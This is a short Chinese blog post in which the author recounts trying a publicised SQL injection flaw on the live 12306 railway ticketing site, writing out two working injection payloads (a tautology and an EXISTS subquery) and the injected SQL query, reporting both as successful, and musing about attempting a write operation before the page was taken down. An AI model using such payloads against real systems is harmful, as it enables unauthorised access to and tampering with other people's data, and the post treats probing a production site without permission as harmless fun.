玩玩12306的SQL注入漏洞

下午那會兒微博上瘋傳一張12306的SQL注入漏洞：

以前沒怎麼玩過，那會兒正好有空，所以就上去瞅瞅。

根據trace提示簡單構造一個：

' OR '1'='1' OR ZIZ='

注入後的效果應就是：

select * from TB_INFO_CLCS  where flag = 'Y'  and czdm ='G' and cxdm like '%' OR '1'='1' OR ZIZ='%' order by cxdm

果了個然~！成功鳥~！

同理再構造個子查詢：

' AND EXISTS (SELECT * FROM TB_INFO_CLCS) OR  ZIZ='

沒報錯，又成功鳥~！

當我正在考慮是否搞個寫操作的時候，鐵道部迅速撤下了相關頁面：

晚上回家後發現該漏洞已經修複鳥~~~~~~